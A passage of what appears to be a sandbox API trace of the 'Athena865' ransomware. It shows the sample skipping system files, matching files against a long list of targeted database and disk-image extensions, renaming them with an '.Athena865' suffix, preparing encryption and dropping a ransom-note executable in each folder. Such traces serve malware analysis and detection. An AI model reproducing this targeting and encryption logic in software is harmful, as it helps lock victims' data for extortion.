(lpString1="dat", lpString2="spq") returned -1 [0108.609] lstrlenW (lpString="te") returned 2 [0108.609] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0108.609] lstrlenW (lpString="teacher") returned 7 [0108.609] lstrcmpiW (lpString1="nlm.dat", lpString2="teacher") returned -1 [0108.609] lstrlenW (lpString="tmd") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0108.609] lstrlenW (lpString="tps") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0108.609] lstrlenW (lpString="trc") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.609] lstrlenW (lpString="trc") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.609] lstrlenW (lpString="trm") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0108.609] lstrlenW (lpString="udb") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0108.609] lstrlenW (lpString="udl") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0108.609] lstrlenW (lpString="usr") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0108.609] lstrlenW (lpString="v12") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0108.609] lstrlenW (lpString="vis") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0108.610] lstrlenW (lpString="vpd") returned 3 [0108.610] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0108.610] lstrlenW (lpString="vvv") returned 3 [0108.610] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0108.610] lstrlenW (lpString="wdb") returned 3 [0108.610] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0108.610] lstrlenW (lpString="wmdb") returned 4 [0108.610] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0108.610] lstrlenW (lpString="wrk") returned 3 [0108.610] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0108.610] lstrlenW (lpString="xdb") returned 3 [0108.610] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0108.610] lstrlenW (lpString="xld") returned 3 [0108.610] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0108.610] lstrlenW (lpString="xmlff") returned 5 [0108.610] lstrcmpiW (lpString1="m.dat", lpString2="xmlff") returned -1 [0108.610] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.Athena865") returned 76 [0108.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.athena865"), dwFlags=0x1) returned 1 [0108.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0108.611] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46624) returned 1 [0108.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.612] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.613] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.613] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.613] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb920, lpName=0x0) returned 0x154 [0108.614] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb920) returned 0x100000 [0108.620] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.621] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.621] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.622] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0108.622] CloseHandle (hObject=0x154) returned 1 [0108.622] CloseHandle (hObject=0x17c) returned 1 [0108.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.623] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2=".") returned 1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="..") returned 1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="windows") returned -1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="bootmgr") returned 1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="temp") returned -1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="pagefile.sys") returned -1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="boot") returned 1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="ids.txt") returned -1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="ntuser.dat") returned -1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="perflogs") returned -1 [0108.623] lstrcmpiW (lpString1="HWRCustomization", lpString2="MSBuild") returned -1 [0108.623] lstrlenW (lpString="HWRCustomization") returned 16 [0108.623] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HWRCustomization" | out: lpString1="HWRCustomization") returned="HWRCustomization" [0108.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5476f0 [0108.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x513d38 [0108.624] lstrcatW (in: lpString1="HWRCustomization", lpString2="\\" | out: lpString1="HWRCustomization\\") returned="HWRCustomization\\" [0108.624] lstrcatW (in: lpString1="HWRCustomization\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HWRCustomization\\HOW TO BACK YOUR FILES.exe") returned="HWRCustomization\\HOW TO BACK YOUR FILES.exe" [0108.624] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.627] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".") returned 1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="..") returned 1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="windows") returned -1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="bootmgr") returned 1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="temp") returned -1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="pagefile.sys") returned -1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="boot") returned 1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="ids.txt") returned -1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="ntuser.dat") returned -1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="perflogs") returned -1 [0108.627] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="MSBuild") returned -1 [0108.627] lstrlenW (lpString="hwrenalm.dat") returned 12 [0108.628] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hwrenalm.dat" | out: lpString1="hwrenalm.dat") returned="hwrenalm.dat" [0108.628] lstrlenW (lpString="hwrenalm.dat") returned 12 [0108.628] lstrlenW (lpString="Athena865") returned 9 [0108.628] lstrcmpiW (lpString1="enalm.dat", lpString2="Athena865") returned 1 [0108.628] lstrlenW (lpString=".dll") returned 4 [0108.628] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".dll") returned 1 [0108.628] lstrlenW (lpString=".lnk") returned 4 [0108.628] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".lnk") returned 1 [0108.628] lstrlenW (lpString=".ini") returned 4 [0108.628] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".ini") returned 1 [0108.628] lstrlenW (lpString=".sys") returned 4 [0108.628] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".sys") returned 1 [0108.628] lstrlenW (lpString="hwrenalm.dat") returned 12 [0108.628] lstrlenW (lpString="bak") returned 3 [0108.628] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0108.628] lstrlenW (lpString="ba_") returned 3 [0108.628] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0108.628] lstrlenW (lpString="dbb") returned 3 [0108.628] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0108.628] lstrlenW (lpString="vmdk") returned 4 [0108.628] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0108.628] lstrlenW (lpString="rar") returned 3 [0108.628] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0108.628] lstrlenW (lpString="zip") returned 3 [0108.628] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0108.628] lstrlenW (lpString="tgz") returned 3 [0108.628] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0108.628] lstrlenW (lpString="vbox") returned 4 [0108.628] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0108.629] lstrlenW (lpString="vdi") returned 3 [0108.629] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0108.629] lstrlenW (lpString="vhd") returned 3 [0108.629] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0108.629] lstrlenW (lpString="vhdx") returned 4 [0108.629] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0108.629] lstrlenW (lpString="avhd") returned 4 [0108.629] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0108.629] lstrlenW (lpString="db") returned 2 [0108.629] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0108.629] lstrlenW (lpString="db2") returned 3 [0108.629] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0108.629] lstrlenW (lpString="db3") returned 3 [0108.629] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0108.629] lstrlenW (lpString="dbf") returned 3 [0108.629] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0108.629] lstrlenW (lpString="mdf") returned 3 [0108.629] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0108.629] lstrlenW (lpString="mdb") returned 3 [0108.629] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0108.629] lstrlenW (lpString="sql") returned 3 [0108.629] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0108.629] lstrlenW (lpString="sqlite") returned 6 [0108.629] lstrcmpiW (lpString1="lm.dat", lpString2="sqlite") returned -1 [0108.629] lstrlenW (lpString="sqlite3") returned 7 [0108.629] lstrcmpiW (lpString1="alm.dat", lpString2="sqlite3") returned -1 [0108.629] lstrlenW (lpString="sqlitedb") returned 8 [0108.629] lstrcmpiW (lpString1="nalm.dat", lpString2="sqlitedb") returned -1 [0108.629] lstrlenW (lpString="xml") returned 3 [0108.629] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0108.629] lstrlenW (lpString="$er") returned 3 [0108.630] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0108.630] lstrlenW (lpString="4dd") returned 3 [0108.630] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0108.630] lstrlenW (lpString="4dl") returned 3 [0108.630] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0108.630] lstrlenW (lpString="^^^") returned 3 [0108.630] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0108.630] lstrlenW (lpString="abs") returned 3 [0108.630] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0108.630] lstrlenW (lpString="abx") returned 3 [0108.630] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0108.630] lstrlenW (lpString="accdb") returned 5 [0108.630] lstrcmpiW (lpString1="m.dat", lpString2="accdb") returned 1 [0108.630] lstrlenW (lpString="accdc") returned 5 [0108.630] lstrcmpiW (lpString1="m.dat", lpString2="accdc") returned 1 [0108.630] lstrlenW (lpString="accde") returned 5 [0108.630] lstrcmpiW (lpString1="m.dat", lpString2="accde") returned 1 [0108.630] lstrlenW (lpString="accdr") returned 5 [0108.630] lstrcmpiW (lpString1="m.dat", lpString2="accdr") returned 1 [0108.630] lstrlenW (lpString="accdt") returned 5 [0108.630] lstrcmpiW (lpString1="m.dat", lpString2="accdt") returned 1 [0108.630] lstrlenW (lpString="accdw") returned 5 [0108.630] lstrcmpiW (lpString1="m.dat", lpString2="accdw") returned 1 [0108.630] lstrlenW (lpString="accft") returned 5 [0108.630] lstrcmpiW (lpString1="m.dat", lpString2="accft") returned 1 [0108.630] lstrlenW (lpString="adb") returned 3 [0108.630] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.630] lstrlenW (lpString="adb") returned 3 [0108.630] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.631] lstrlenW (lpString="ade") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0108.631] lstrlenW (lpString="adf") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0108.631] lstrlenW (lpString="adn") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0108.631] lstrlenW (lpString="adp") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0108.631] lstrlenW (lpString="alf") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0108.631] lstrlenW (lpString="ask") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0108.631] lstrlenW (lpString="btr") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0108.631] lstrlenW (lpString="cat") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0108.631] lstrlenW (lpString="cdb") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0108.631] lstrlenW (lpString="ckp") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0108.631] lstrlenW (lpString="cma") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0108.631] lstrlenW (lpString="cpd") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0108.631] lstrlenW (lpString="dacpac") returned 6 [0108.631] lstrcmpiW (lpString1="lm.dat", lpString2="dacpac") returned 1 [0108.631] lstrlenW (lpString="dad") returned 3 [0108.631] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0108.631] lstrlenW (lpString="dadiagrams") returned 10 [0108.632] lstrcmpiW (lpString1="renalm.dat", lpString2="dadiagrams") returned 1 [0108.632] lstrlenW (lpString="daschema") returned 8 [0108.632] lstrcmpiW (lpString1="nalm.dat", lpString2="daschema") returned 1 [0108.632] lstrlenW (lpString="db-journal") returned 10 [0108.632] lstrcmpiW (lpString1="renalm.dat", lpString2="db-journal") returned 1 [0108.632] lstrlenW (lpString="db-shm") returned 6 [0108.632] lstrcmpiW (lpString1="lm.dat", lpString2="db-shm") returned 1 [0108.632] lstrlenW (lpString="db-wal") returned 6 [0108.632] lstrcmpiW (lpString1="lm.dat", lpString2="db-wal") returned 1 [0108.632] lstrlenW (lpString="dbc") returned 3 [0108.632] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0108.632] lstrlenW (lpString="dbs") returned 3 [0108.632] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0108.632] lstrlenW (lpString="dbt") returned 3 [0108.632] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0108.632] lstrlenW (lpString="dbv") returned 3 [0108.632] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0108.632] lstrlenW (lpString="dbx") returned 3 [0108.632] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0108.632] lstrlenW (lpString="dcb") returned 3 [0108.632] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0108.632] lstrlenW (lpString="dct") returned 3 [0108.632] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0108.632] lstrlenW (lpString="dcx") returned 3 [0108.632] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0108.632] lstrlenW (lpString="ddl") returned 3 [0108.632] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0108.632] lstrlenW (lpString="dlis") returned 4 [0108.632] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0108.632] lstrlenW (lpString="dp1") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0108.633] lstrlenW (lpString="dqy") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0108.633] lstrlenW (lpString="dsk") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0108.633] lstrlenW (lpString="dsn") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0108.633] lstrlenW (lpString="dtsx") returned 4 [0108.633] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0108.633] lstrlenW (lpString="dxl") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0108.633] lstrlenW (lpString="eco") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0108.633] lstrlenW (lpString="ecx") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0108.633] lstrlenW (lpString="edb") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0108.633] lstrlenW (lpString="epim") returned 4 [0108.633] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0108.633] lstrlenW (lpString="fcd") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0108.633] lstrlenW (lpString="fdb") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0108.633] lstrlenW (lpString="fic") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0108.633] lstrlenW (lpString="flexolibrary") returned 12 [0108.633] lstrlenW (lpString="fm5") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0108.633] lstrlenW (lpString="fmp") returned 3 [0108.633] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0108.634] lstrlenW (lpString="fmp12") returned 5 [0108.634] lstrcmpiW (lpString1="m.dat", lpString2="fmp12") returned 1 [0108.634] lstrlenW (lpString="fmpsl") returned 5 [0108.634] lstrcmpiW (lpString1="m.dat", lpString2="fmpsl") returned 1 [0108.634] lstrlenW (lpString="fol") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0108.634] lstrlenW (lpString="fp3") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0108.634] lstrlenW (lpString="fp4") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0108.634] lstrlenW (lpString="fp5") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0108.634] lstrlenW (lpString="fp7") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0108.634] lstrlenW (lpString="fpt") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0108.634] lstrlenW (lpString="frm") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0108.634] lstrlenW (lpString="gdb") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.634] lstrlenW (lpString="gdb") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.634] lstrlenW (lpString="grdb") returned 4 [0108.634] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0108.634] lstrlenW (lpString="gwi") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0108.634] lstrlenW (lpString="hdb") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0108.634] lstrlenW (lpString="his") returned 3 [0108.634] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0108.635] lstrlenW (lpString="ib") returned 2 [0108.635] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0108.635] lstrlenW (lpString="idb") returned 3 [0108.635] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0108.635] lstrlenW (lpString="ihx") returned 3 [0108.635] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0108.635] lstrlenW (lpString="itdb") returned 4 [0108.635] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0108.635] lstrlenW (lpString="itw") returned 3 [0108.635] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0108.635] lstrlenW (lpString="jet") returned 3 [0108.635] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0108.635] lstrlenW (lpString="jtx") returned 3 [0108.635] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0108.635] lstrlenW (lpString="kdb") returned 3 [0108.635] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0108.635] lstrlenW (lpString="kexi") returned 4 [0108.635] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0108.635] lstrlenW (lpString="kexic") returned 5 [0108.635] lstrcmpiW (lpString1="m.dat", lpString2="kexic") returned 1 [0108.635] lstrlenW (lpString="kexis") returned 5 [0108.635] lstrcmpiW (lpString1="m.dat", lpString2="kexis") returned 1 [0108.635] lstrlenW (lpString="lgc") returned 3 [0108.635] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0108.635] lstrlenW (lpString="lwx") returned 3 [0108.635] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0108.635] lstrlenW (lpString="maf") returned 3 [0108.635] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0108.635] lstrlenW (lpString="maq") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0108.636] lstrlenW (lpString="mar") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0108.636] lstrlenW (lpString="marshal") returned 7 [0108.636] lstrcmpiW (lpString1="alm.dat", lpString2="marshal") returned -1 [0108.636] lstrlenW (lpString="mas") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0108.636] lstrlenW (lpString="mav") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0108.636] lstrlenW (lpString="maw") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0108.636] lstrlenW (lpString="mdbhtml") returned 7 [0108.636] lstrcmpiW (lpString1="alm.dat", lpString2="mdbhtml") returned -1 [0108.636] lstrlenW (lpString="mdn") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0108.636] lstrlenW (lpString="mdt") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0108.636] lstrlenW (lpString="mfd") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0108.636] lstrlenW (lpString="mpd") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0108.636] lstrlenW (lpString="mrg") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0108.636] lstrlenW (lpString="mud") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0108.636] lstrlenW (lpString="mwb") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0108.636] lstrlenW (lpString="myd") returned 3 [0108.636] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0108.636] lstrlenW (lpString="ndf") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0108.637] lstrlenW (lpString="nnt") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0108.637] lstrlenW (lpString="nrmlib") returned 6 [0108.637] lstrcmpiW (lpString1="lm.dat", lpString2="nrmlib") returned -1 [0108.637] lstrlenW (lpString="ns2") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0108.637] lstrlenW (lpString="ns3") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0108.637] lstrlenW (lpString="ns4") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0108.637] lstrlenW (lpString="nsf") returned 3 [0108.637] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0108.637] lstrlenW 